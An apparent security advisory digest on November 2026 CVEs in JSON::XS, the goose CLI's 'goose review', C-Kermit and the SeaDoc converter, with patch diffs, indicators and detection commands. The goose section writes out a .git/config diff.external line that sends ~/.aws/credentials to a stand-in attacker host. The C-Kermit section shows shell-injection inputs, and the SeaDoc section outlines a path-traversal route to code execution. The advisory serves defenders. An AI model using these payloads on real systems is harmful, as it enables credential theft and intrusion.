CVE
CVE-2026-124536, CVE-2026-124539, CVE-2026-124540, CVE-2026-124541, CVE-2026-129113, CVE-2026-129114, CVE-2026-129115, CVE-2026-129128, CVE-2026-129116, CVE-2026-129117, CVE-2026-129118, CVE-2026-129119, CVE-2026-129120, CVE-2026-129121, CVE-2026-129122, CVE-2026-129123, CVE-2026-129124, CVE-2026-129125, CVE-2026-129126, CVE-2026-129167
CWE
CWE-122, CWE-193, CWE-191, CWE-416, CWE-674, CWE-401, CWE-770, CWE-78, CWE-863, CWE-120, CWE-287, CWE-297, CWE-22, CWE-36
Affected Surface
- Perl `JSON::XS` (CPAN distribution `JSON-XS`) before 4.05, plus anything that loads it as a backend, such as `JSON.pm` and `JSON::MaybeXS` when `JSON::XS` is the installed XS module
- goose CLI (`aaif-goose/goose`) 1.35.0 up to but not including 1.53.0 (`goose review`, `CVE-2026-129128`)
- C-Kermit before 11.1.515 in server mode, as a file receiver, as a Telnet or FTP client, and as an IKSD built with SSL
- Seafile SeaDoc converter (`haiwen/seadoc-converter`) 2.0.4 up to 2.0.11 and 3.0.0 up to 3.0.8, shipped in the `seafileltd/sdoc-server` image used by the SeaDoc 2.0 and 3.0 deployments
TL;DR
Four unrelated open source projects got CVEs on 13 and 14 November 2026. Fixes are already out for all of them. Nobody has reported exploitation, but two of the four take attacker input by design: a Perl JSON parser and a document converter that sits behind a public share link.
- JSON::XS 4.05 (seven CVEs). Marc Lehmann released 4.05 on 13 November and the CPAN Security Group published the CVEs the next day. Four of them are in the incremental parser (
incr_parse,incr_skip): a one-byte heap write past the buffer (CVE-2026-129114), a buffer length that wraps after a top-level number like1-2(CVE-2026-129113), and amax_sizelimit that a NUL byte defeats (CVE-2026-124536). The others are a use-after-free whenFREEZEgrows the Perl stack underallow_tags(CVE-2026-129115), unbounded recursion on nested tagged values (CVE-2026-124540), and two leaks on rejected input (CVE-2026-124539,CVE-2026-124541). - goose
goose review(CVE-2026-129128, CVSS 4.0 8.4). The AI agent’s review command rangit diffagainst the repository you pointed it at, without--no-ext-diff. A.git/configthat setsdiff.externaltherefore ran its command as you, before goose ever contacted a model. It is the sibling of the Julycore.fsmonitorbug (CVE-2026-72718). Version 1.53.0 fixes it, and on 12 November the maintainers deletedgoose reviewfrommainaltogether. - C-Kermit 11.1.515 (eleven CVEs). A Kermit server ran
REMOTE WHOandREMOTE SPACEarguments through the shell (CVE-2026-129124) and evaluated\fcommand()and\fexecute()insideREMOTE QUERY(CVE-2026-129125). Neither path checkedDISABLE HOST. There’s also a heap overflow inputsrv()(CVE-2026-129126), client-side buffer overflows in Telnet and FTP, an IKSD login bypass, and TLS hostname checks that never ran. - Seafile SeaDoc converter (
CVE-2026-129167, CVSS 4.0 9.2). The converter accepted any token signed with the sharedJWT_PRIVATE_KEY, including the read-only anonymous token Seafile embeds in public.sdocshare pages./api/v1/confluence-to-wiki/then joined a client-supplied absolutefilenameonto/tmp/wikiand extracted a downloaded ZIP there. The researcher planted a package inside Python’sencodingsdirectory and got code execution in the container.
What to do now: upgrade JSON::XS to 4.05 everywhere it is installed (CPAN, libjson-xs-perl, perl-JSON-XS, vendored local/ trees); upgrade goose to 1.53.0 or later and stop running agent tools inside repositories you haven’t inspected; upgrade or uninstall C-Kermit and turn off any Kermit server or IKSD you don’t need; re-pull seafileltd/sdoc-server and check the converter container for unexpected directories under encodings/.
Affected packages and projects
| Ecosystem | Package or project | CVE | Severity | Affected versions | Fixed version |
|---|---|---|---|---|---|
| CPAN | JSON::XS | CVE-2026-129114 (one-byte heap write in incr_parse) | Not scored yet (CWE-122) | >= 3.04, < 4.05 | 4.05 |
| CPAN | JSON::XS | CVE-2026-129113 (incr_skip length underflow after a number) | Not scored yet (CWE-191) | >= 4.0_00, < 4.05 | 4.05 |
| CPAN | JSON::XS | CVE-2026-129115 (FREEZE stack use-after-free) | Not scored yet (CWE-416) | >= 3.0, < 4.05 | 4.05 |
| CPAN | JSON::XS | CVE-2026-124536, CVE-2026-124540, CVE-2026-124539, CVE-2026-124541 (NUL bypass of max_size, tag recursion, two leaks) | Not scored yet | < 4.05 | 4.05 |
| Rust binary (GitHub releases) | goose CLI (aaif-goose/goose) | CVE-2026-129128 | High, CVSS 4.0 8.4 | >= 1.35.0, < 1.53.0 | 1.53.0 |
| C (Unix, distro packages) | C-Kermit (OpenKermit/ckermit) | CVE-2026-129124, CVE-2026-129125, CVE-2026-129126 (server RCE) | Critical, CVSS 4.0 9.2 | < 11.1.515 | 11.1.515 |
| C (Unix, distro packages) | C-Kermit | CVE-2026-129122, CVE-2026-129123 (Telnet and FTP client overflows) | High, CVSS 4.0 7.7 and 8.7 | >= 6.0.192 / >= 8.0.200, < 11.1.515 | 11.1.515 |
| C (Unix, distro packages) | C-Kermit | CVE-2026-129116, CVE-2026-129117, CVE-2026-129118 (IKSD auth bypass, TLS name checks) | High, CVSS 4.0 7.6 to 7.7 | >= 7.0.197 / >= 8.0.200, < 11.1.515 | 11.1.515 |
| C (Unix, distro packages) | C-Kermit | CVE-2026-129119, CVE-2026-129120, CVE-2026-129121 (unprompted file writes, FTP MGET traversal) | Medium to high, CVSS 4.0 5.9 to 7.1 | various, < 11.1.515 | 11.1.515 |
| Python (Docker image) | haiwen/seadoc-converter in seafileltd/sdoc-server | CVE-2026-129167 | Critical, CVSS 4.0 9.2 | >= 2.0.4, < 2.0.11; >= 3.0.0, < 3.0.8 | 2.0.11, 3.0.8 |
EPSS on 14 November put CVE-2026-129124 at 1.3% (71st percentile), the SeaDoc bug at 0.49% and the goose bug at 0.15%. The JSON::XS CVEs had no score yet.
Technical analysis
1. JSON::XS 4.05: the incremental parser and allow_tags
Most of these bugs live in the incremental parser. You feed it chunks with $json->incr_parse($chunk) as they come off a socket, and it hands back complete JSON texts once it has them. Whoever is on the other end of that socket controls both the bytes and how they’re split, so this is the code that matters most.
CVE-2026-129114: no room for the terminating NUL. json_sv_grow() grew the buffer to 1.5 times the required length, but the required length didn’t count the trailing \0. For a one-byte chunk arriving at an empty buffer, the request is one byte. A buffer whose front was already consumed by earlier decodes can have exactly that much, so nothing gets reallocated and the NUL lands one byte past the allocation. The fix reserves the byte:
json_sv_grow (SV *sv, size_t len1, size_t len2)
{
len1 = strlen_sum (len1, len2);
- len1 = strlen_sum (len1, len1 >> 1);
+ len1 = strlen_sum (len1, (len1 >> 1) + 1);
CVE-2026-129113: offset kept into bytes that were never decoded. The scanner treats any run of digits, signs, dots and exponent markers as one number, while the decoder stops at the end of a valid number. For input like 1-2, the decoder consumes 1, the parser keeps an offset into -2, and then empties the buffer without zeroing it. A later incr_parse call with no new data rescans those stale bytes and pushes incr_pos past the end. incr_skip, the documented way to recover from a parse error, then removes that many bytes and the length wraps. The next read of incr_text dies on Perl’s uncatchable out-of-memory path. The maintainer’s changelog calls this “potentially a very serious vulnerability”. 4.05 resets the position and terminates the emptied buffer:
self->incr_pos = 0;
SvCUR_set (self->incr_text, 0);
+ *SvEND (self->incr_text) = 0;
...
PUTBACK; sv = decode_json (self->incr_text, self, &offset); SPAGAIN;
XPUSHs (sv);
- self->incr_pos -= offset;
+ self->incr_pos = 0;
CVE-2026-124536: a NUL byte defeats max_size. The scanner treated \0 as end of input (goto interrupt), so incr_pos stopped advancing at the NUL. max_size was compared against how far the scanner had got, not against the buffer length, and the buffer kept growing as chunks arrived. 4.05 sends every one of those branches to a new nul: label that croaks when the NUL isn’t the real end of the buffer:
+nul: // nul character found
+ if (!*p && p != SvEND (self->incr_text))
+ {
+ self->incr_pos = p - SvPVX (self->incr_text) + 1; // skip 0 byte for incr_skip
+ croak ("invalid NUL character in JSON text");
+ }
+
interrupt:
self->incr_pos = p - SvPVX (self->incr_text);
CVE-2026-129115 and CVE-2026-124540: tagged values. With allow_tags, encode_rv calls an object’s FREEZE method and then encodes each returned value through a saved stack pointer. If encoding one of those values calls back into Perl (TO_JSON under convert_blessed, or another FREEZE) and that callback grows the Perl stack, the stack moves and the saved pointer refers to freed memory. The fix brackets each encode_sv call with PUTBACK and SPAGAIN. On the decode side, a tagged value (tag)value recursed without counting toward max_depth, so a long run of ( bytes blew the C stack. 4.05 adds DEC_INC_DEPTH and DEC_DEC_DEPTH around decode_tag. The two leaks (CVE-2026-124539, CVE-2026-124541) come from a decoded key or a partly decoded long string that was never freed when the object or string was rejected. Each failed document keeps memory whose size the sender picks.
If you don’t use incr_parse or allow_tags, your exposure is the two leaks, which only matter in long-running processes that keep going after decode errors. Many Perl codebases never name JSON::XS directly but still run it, because JSON.pm and JSON::MaybeXS load it as their backend when it’s installed. Check which module is actually loaded before ruling yourself out.
2. goose goose review: git config from the repository you are reviewing (CVE-2026-129128)
goose review built its context by running git diff against the target repository. Git reads that repository’s .git/config, and two keys there name programs that git will execute: core.fsmonitor and diff.external. The July advisory (GHSA-r5pp-p5r8-466r, CVE-2026-72718) fixed the first by adding -c core.fsmonitor=false to the shared git_command() helper. Issue #12960 pointed out that the helper did nothing about diff.external, and none of the three review call sites passed --no-ext-diff. A repository shipped with this config runs its payload as soon as collect_diff, touched_files or collect_diff_stat runs:
[diff]
external = sh -c 'curl https://attacker[.]example/$(cat ~/.aws/credentials | base64) >/dev/null 2>&1' --
The command runs as the user, outside goose’s tool-permission prompts and before any prompt goes to a model, and git calls it once for every changed file. Git doesn’t copy .git/config from a remote on clone, so the config has to arrive another way: a repository shipped as an archive, a shared volume, a nested repository or a CI checkout. The fix (PR #12537, commit 3fbea00, merged 28 September and released in 1.53.0 on 2 October) adds the flag on all three call sites:
fn touched_files(repo_root: &Path, range: Option<&str>, files: &[String]) -> Result<Vec<String>> {
let mut cmd = review_git_command(repo_root);
- cmd.arg("diff").arg("--name-only");
+ cmd.arg("diff").arg("--no-ext-diff").arg("--name-only");
...
fn collect_diff(repo_root: &Path, range: Option<&str>, files: &[String]) -> Result<String> {
let mut cmd = review_git_command(repo_root);
- cmd.arg("diff");
+ cmd.arg("diff").arg("--no-ext-diff");
...
fn collect_diff_stat(repo_root: &Path, range: Option<&str>, files: &[String]) -> Result<String> {
let mut cmd = review_git_command(repo_root);
- cmd.arg("diff").arg("--stat");
+ cmd.arg("diff").arg("--no-ext-diff").arg("--stat");
After two bugs in the same command, the maintainers stopped patching it. PR #13469, merged on 12 November, deletes goose review with the note “Retire the goose review subcommand and remove the execution path it exposed”. That change is on main but not in v1.59.1 (14 November), which was cut from a different branch. The CVE record came from VulnCheck on 13 November. GitHub hasn’t published the project’s own advisory (GHSA-6mg9-3cvh-9939, named in the fix commit).
This isn’t specific to goose. Any agent or developer tool that shells out to git diff, git log -p or git status inside a directory it didn’t create inherits the same diff.external, core.fsmonitor, core.pager and core.hooksPath surface. If you build tools like that, pass --no-ext-diff and -c core.fsmonitor=false, or run git with GIT_CONFIG_NOSYSTEM=1 and a scrubbed environment.
3. C-Kermit 11.1.515: server commands that reach the shell
Much of the affected code is decades old. The maintainer’s advisories date the REMOTE WHO bug to C-Kermit 4C(057) in 1985 and the packet buffer overflow to the first C-Kermit release. The 11.1.515 release notes say over 900 -Wconversion warnings were removed and the code was reviewed afterwards. The three repository advisories were published on 31 October and the eleven CVEs on 13 November.
CVE-2026-129124: REMOTE WHO and REMOTE SPACE. The server built WHOCMD ("who " or "finger ") or SPACM2 ("df ") plus the client’s argument, and syscmd() handed the result to the shell through zxcmd(). Both commands are enabled by default. remote who {x;touch PWNED} created the file even with DISABLE HOST set. The fix (commit 29c4bfb) runs these through a new zxcmdv() that calls execvp() with an argument vector. On Unix it refuses user names for who entirely, and REMOTE SPACE only accepts a directory that exists:
- if (syscmd(WHOCMD,(char *)(srvcmd+2))) {
+ wx = srvwho(srvarg(srvcmd+1));
+ if (wx > 0) {
BEGIN ssinit;
} else {
- errpkt((CHAR *)"Can't do who command");
+ errpkt((CHAR *)(wx == -2 ? "User name not supported" :
+ (wx < 0 ? "Invalid user name" :
+ "Can't do who command")));
CVE-2026-129125: REMOTE QUERY. srv_query() expanded the client’s query text with zzstring(), and a Kermit variable name ending in ) is a function call. remote query kermit command(touch EXPLOITED.TXT) ran a shell command. So did remote assign m {run touch EXPLOITED.TXT} followed by remote query kermit execute(m). Neither nopush nor DISABLE HOST applied (commit 85ef1da).
CVE-2026-129126: putsrv() heap overflow. The server and receiver wrote each decoded character of a command or filename into srvcmd without checking length, on the assumption that a packet-sized buffer was enough. Kermit’s repeat-count compression lets a short packet expand well past that (commit 37e5472).
The remaining CVEs hit C-Kermit as a client. A malicious Telnet server could overflow a 16-byte stack buffer with NEW-ENVIRON SEND before authentication (CVE-2026-129122). A malicious FTP server could overflow reply_buf with long PBSZ or ADAT replies (CVE-2026-129123), or return ../ and absolute paths during MGET /RECURSIVE (CVE-2026-129121). RESEND and recursive GET could write files such as .ssh/authorized_keys without the RECEIVE CONFIRM prompt (CVE-2026-129119, CVE-2026-129120). In SSL builds, IKSD left Telnet auth at AUTH_VALID after a refused certificate login (CVE-2026-129116). ssl_reply() also never called ssl_check_server_name() (CVE-2026-129117), and wildcard matching accepted names it shouldn’t have (CVE-2026-129118).
You probably don’t run a Kermit server on purpose. The places it still turns up are serial console and lab setups, old inetd entries for IKSD on TCP 1649, and scripts that use kermit as a scriptable FTP or Telnet client.
4. SeaDoc converter: a read-only share token reaches a file-writing endpoint (CVE-2026-129167)
SeaDoc, Seafile’s collaborative document editor, runs three processes: seahub, sdoc-server and seadoc-converter. All three trust the same HMAC key, JWT_PRIVATE_KEY. When someone opens a public .sdoc share link, seahub puts a JWT (seadocAccessToken) in the page so anonymous preview works. Its payload says "username": "Anonymous" and "permission": "r". The researcher’s report shows that the converter’s check_auth_token() only verified the signature, so that read-only token was accepted on every converter endpoint.
One of those endpoints, /api/v1/confluence-to-wiki/, took filename from the JSON body and used it to build paths:
extract_dir = '/tmp/wiki'
space_dir = os.path.join(extract_dir, space_key) # space_key derived from filename
zip_file_path = os.path.join(extract_dir, filename)
...
response = requests.get(download_url) # attacker-supplied URL
with ZipFile(BytesIO(response.content), 'r') as zip_ref:
zip_ref.extractall(space_dir)
os.path.join() throws away everything before an argument that starts with /. With filename set to /usr/lib/python3.12/encodings/cp273aaaaaaaaa, the ZIP’s __init__.py landed in a new encodings/cp273 package. The handler deleted the directory in a finally block, but only after the result upload returned, and that requests.post() had no timeout. Pointing upload_url at a server that never responds kept the files on disk. A second request whose error response declared charset=cp273 made the converter import the planted package, which ran inside the converter process without a restart.
The public fix in seadoc-converter (commit cb43162, 29 October) is input validation on the endpoint:
- if not filename:
+ if (not isinstance(filename, str)
+ or not filename.endswith('.html.zip')
+ or any(char in filename for char in ('/', '\\', '\x00'))):
return {'error_msg': 'path invalid.'}, 400
...
+ if space_key in ('', '.', '..'):
+ return {'error_msg': 'path invalid.'}, 400
That closes the path traversal. As far as the public diff shows, the converter still accepts any signed token, so the anonymous-token trust problem is only partly addressed. The researcher says sdoc-server is closed source and that Haiwen confirmed by email on 2 November that it had been fixed in SeaDoc 2.0 and 3.0. The fixed converter versions are 2.0.11 and 3.0.8. To exploit this, an attacker only needs one public .sdoc share link or a published wiki on the instance.
IOCs
No exploitation has been reported for any of these CVEs, so there are no campaign IOCs. These are the artifacts an attempt would leave:
- goose / git: a
diff.external,core.fsmonitor,core.pagerorcore.hooksPathentry in a repository’s.git/configthat you didn’t put there. The issue’s example payload sends~/.aws/credentialstoattacker[.]exampleas base64 in the URL path. - SeaDoc:
POST /sdoc-server/converter/api/v1/confluence-to-wiki/requests wherefilenamestarts with/or contains.., especially ones with anAuthorization: tokenheader whose JWT payload has"username": "Anonymous". On disk, look for directories inside/usr/lib/python3*/encodings/in the SeaDoc container (stock CPython has none there apart from__pycache__), and for__init__.py,sdoc_archive.zip,md_output/orsdoc_output/anywhere outside/tmp/wiki. - C-Kermit server:
REMOTE WHOorREMOTE SPACEarguments containing;,|,`or$(, andREMOTE QUERYorREMOTE ASSIGNtext containingcommand(orexecute(. C-Kermit logs server commands to syslog when built withCKSYSLOG. - JSON::XS: crashes or OOM kills in Perl services that call
incr_parse, and process memory that climbs after malformed JSON requests.
Detection and remediation
JSON::XS. Find every copy, not only the system Perl:
perl -MJSON::XS -e 'print "$JSON::XS::VERSION\n"' # needs 4.05
dpkg -l libjson-xs-perl 2>/dev/null; rpm -q perl-JSON-XS 2>/dev/null
find / -path '*/JSON/XS.pm' -not -path '/proc/*' 2>/dev/null | xargs grep -H '^our \$VERSION'
grep -n 'JSON-XS-' cpanfile.snapshot 2>/dev/null # Carton lockfile
perl -MJSON -e 'print JSON->backend, "\n"' # is JSON.pm using JSON::XS?
grep -rnE 'incr_(parse|skip|text)|allow_tags' lib/ script/ 2>/dev/null
Upgrade with cpanm JSON::XS@4.05 (or your distribution’s update when it ships), restart long-running Perl workers, and rebuild container images that bake in local/ or vendor/ Perl trees. Code that uses incr_parse on network input should be patched first.
goose. Upgrade to 1.53.0 or later (goose --version). If you ran goose review on a repository you didn’t create yourself, check that repository’s config and rotate whatever the shell could reach: the LLM provider keys goose stores, SSH keys, ~/.aws, ~/.config/gcloud, ~/.kube/config, GitHub tokens and npm or PyPI tokens.
git -C /path/to/repo config --show-origin --get-regexp '^(diff\..*external|diff\.external|core\.(fsmonitor|pager|hookspath))$'
find ~ -path '*/.git/config' -exec grep -lE '^\s*(external|fsmonitor|hooksPath)\s*=' {} + 2>/dev/null
C-Kermit. Upgrade to 11.1.515, or remove the package if nothing uses it. Shut off any server listener you don’t need:
command -v kermit ckermit; dpkg -l ckermit 2>/dev/null; rpm -q ckermit 2>/dev/null
ss -ltnp | grep -E ':1649\b' # IKSD
grep -rnE 'kermit|iksd' /etc/inetd.conf /etc/xinetd.d/ /etc/systemd/system/ 2>/dev/null
Until you can upgrade, put DISABLE WHO, DISABLE SPACE, DISABLE QUERY and DISABLE ASSIGN in the server’s init file. DISABLE HOST alone doesn’t block either shell path.
SeaDoc. Re-pull the SeaDoc image and recreate the container. Then check the converter for planted files and the proxy logs for the endpoint:
docker inspect seadoc --format '{{.Config.Image}} {{.Image}}'
docker compose pull seadoc && docker compose up -d seadoc
docker exec seadoc sh -c 'find /usr/lib/python3*/encodings -mindepth 1 -maxdepth 1 -type d ! -name __pycache__'
grep -h 'confluence-to-wiki' /var/log/nginx/*.log* /path/to/caddy/logs/* 2>/dev/null | head
If you find anything, treat the container as compromised. Rotate JWT_PRIVATE_KEY, which seahub, sdoc-server and the converter all share, and the MySQL credentials passed into the seadoc container. Review public .sdoc share links and published wikis while you’re at it.
Timeline
- 2026-07-24: goose publishes
GHSA-r5pp-p5r8-466r(CVE-2026-72718), thecore.fsmonitorvariant of thegoose reviewbug. - 2026-09-28: goose merges PR #12537, adding
--no-ext-diffto all threegoose reviewgit diffcalls. - 2026-10-02: goose v1.53.0 ships with that fix.
- 2026-10-16: Issue #12960 publicly reports the
diff.externalpath. - 2026-10-24: The SeaDoc researcher’s report is dated 24 October, and the files in its reproduction carry that date.
- 2026-10-25: C-Kermit commits the
REMOTE WHOandREMOTE SPACEfix (29c4bfb). - 2026-10-29:
seadoc-convertercommits theconfluence-to-wikifilename validation (cb43162). - 2026-10-30 / 2026-10-31: C-Kermit 11.1.515 is released (dated 30 October in its notes, GitHub release at 01:41 UTC on 31 October), and the three repository advisories go public.
- 2026-11-02: Haiwen tells the researcher that
sdoc-serverin SeaDoc 2.0 and 3.0 is fixed. - 2026-11-12: goose merges PR #13469, removing
goose reviewand closing issue #12960. - 2026-11-13: JSON::XS 4.05 is released at 04:21 UTC. NVD publishes
CVE-2026-129128(goose),CVE-2026-129116throughCVE-2026-129126(C-Kermit) andCVE-2026-129167(SeaDoc), each with a VulnCheck advisory. - 2026-11-14: The CPAN Security Group posts the seven JSON::XS CVEs to oss-security at 12:05 UTC, and NVD publishes them.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Use AI-native static analysis to find similar application vulnerabilities and generate review-ready fixes.
References
- oss-security (14 November 2026): JSON-XS versions before 4.05 for Perl (7 CVEs), CPAN Security Group
- MetaCPAN: JSON-XS 4.05 Changes (13 November 2026)
- NVD: CVE-2026-129114 (JSON::XS one-byte heap overflow in incr_parse)
- aaif-goose/goose issue #12960: Arbitrary command execution in goose CLI via goose review via git diff.external
- aaif-goose/goose PR #12537 (commit 3fbea00): pass --no-ext-diff on every goose review git diff
- aaif-goose/goose release v1.53.0 (2 October 2026)
- aaif-goose/goose PR #13469: Remove the goose review subcommand
- VulnCheck: goose CLI 1.35.0 before 1.53.0 command execution via goose review diff.external (CVE-2026-129128)
- ENISA EUVD-2026-125551 (CVE-2026-129128)
- OpenKermit/ckermit GHSA-c5px-7h4c-gj8p: Remote code execution in C-Kermit
- OpenKermit/ckermit GHSA-5pc4-gh6q-5h4w: Authentication bypass and TLS certificate spoofing
- OpenKermit/ckermit GHSA-vhrv-7jrq-95qj: Arbitrary file write and safeguard bypass during file transfers
- OpenKermit/ckermit release v11.1.515
- VulnCheck: C-Kermit before 11.1.515 OS command injection via REMOTE WHO and REMOTE SPACE (CVE-2026-129124)
- Seafile vulnerability report (yulun): Unauthenticated remote code execution in the SeaDoc converter (CVE-2026-129167)
- haiwen/seadoc-converter commit cb43162: validate confluence-to-wiki filename
- VulnCheck: SeaDoc converter path traversal RCE via confluence-to-wiki (CVE-2026-129167)